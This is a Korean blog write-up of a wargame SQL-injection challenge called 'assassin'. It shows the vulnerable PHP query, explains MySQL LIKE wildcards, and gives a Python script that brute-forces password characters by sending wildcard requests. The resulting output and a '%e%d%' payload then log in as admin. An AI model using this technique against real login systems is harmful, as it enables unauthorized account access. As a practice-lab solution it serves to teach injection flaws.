이번에는 문제 이름이 몬스터 이름이 아니다. assassin 문제인데, 개인적으로 재밌던 문제이다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
----------------------------------------------------------------------
query : select id from prob_assassin where pw like ''
----------------------------------------------------------------------

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

필터링이 '(싱글쿼터) 딱 한개만 있다. 그리고 = 대신에 like이 쓰였다. 처음에는 '를 우회하는 방법이 있을 거라고 생각 해 이 부분에 초점을 맞추어 문제를 풀어보려 했다. 그런데 아무리 해도 우회를 하는 방법을 찾을수가 없었다.

그러다 눈에 띈 부분이 왜 =가 아니라 like을 사용 했을까 였다. 나는 단순히 =like가 동일하다고 생각했는데, 뭔가 다른 점이 있을 것 같았다. 그래서 구글에 mysql like이라고 검색을 해봤는데, %를 알게 되었다. like을 사용한다면, %를 이용 해 특정 문자가 있는 행을 추출할 수 있다. 예를 들어 아래와 같은 쿼리문이 있다고 가정해보자.

1
select * from user where id like '%a%';

이 경우, %모든 문자를 의미하게 된다. 때문에 %a%라고 한다면, a의 앞뒤로 어떠한 문자가 있는 경우를 말한다. 즉, man, woman 등은 a의 앞뒤로 문자가 있어 조건에 부합하게 된다. 반면 applea의 앞에 문자가 없기 때문에 조건에 맞지 않는다.

그래서 이 방법을 가지고 assassin 문제를 풀기로 했다. 가장 먼저 테스트 한 것은 그냥 %만 입력 해 보는 것이었다. pw에 분명 문자가 있을테니, pw뭐라도 문자가 있는 행을 추출 해 보려 했다. 그런데 Hello guest가 출력되었다. 아마도 테이블에 guestadmin보다 위에 있어 먼저 추출 된 것 같다. 그래서 이번에는 %a% 형태로 만들어서 하나하나 테스트 해 보기로 했다. 손으로 하려다가 귀찮아져서 아래와 같이 코드를 구현했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

flag = ""
length = 0

url = "http://los.rubiya.kr/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=%"
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find password"

for i in range(48, 128):
	try:
		query = url + chr(i) + "%"
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue

	if 'Hello admin' in r.text:
		flag += chr(i)
		print "[+] Found :", flag

print "[+] Found password : ", flag
print "[+] End"

그런데 결과가 안나왔다.(눙물…) 그래서 이번에는 Hello guest가 출력되는 문자를 찾도록 조건문을 수정 해 다시 테스트 해 보았다. 그 결과 아래와 같은 문자들을 얻을 수 있었다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$ python ex.py 
[+] Start
[+] Find password
[+] Found : 0
[+] Found : 01
[+] Found : 012
[+] Found : 0129
[+] Found : 0129D
[+] Found : 0129DE
[+] Found : 0129DEF
[+] Found : 0129DEF_
[+] Found : 0129DEF_d
[+] Found : 0129DEF_de
[+] Found : 0129DEF_def
[+] Found password :  0129DEF_def
[+] End

아마도 테이블에서 guestadminpw가 같은 문자들로만 이루어져 있고, guestadmin보다 위에 있어 guest만 출력되는 것 같다. 그래서 저 문자를 적절하게 조합하면 admin을 얻을 수 있지 않을까 생각 해, 이것저것 시도 해 보다 보니 아래와 같이 입력했을 때 문제를 풀 수 있었다.

1
?pw=%e%d%

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
-------------------------------------------------------------------------------
query : select id from prob_assassin where pw like '%e%d%'
-------------------------------------------------------------------------------

Hello admin
ASSASSIN Clear!
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

1
ASSASSIN Clear!!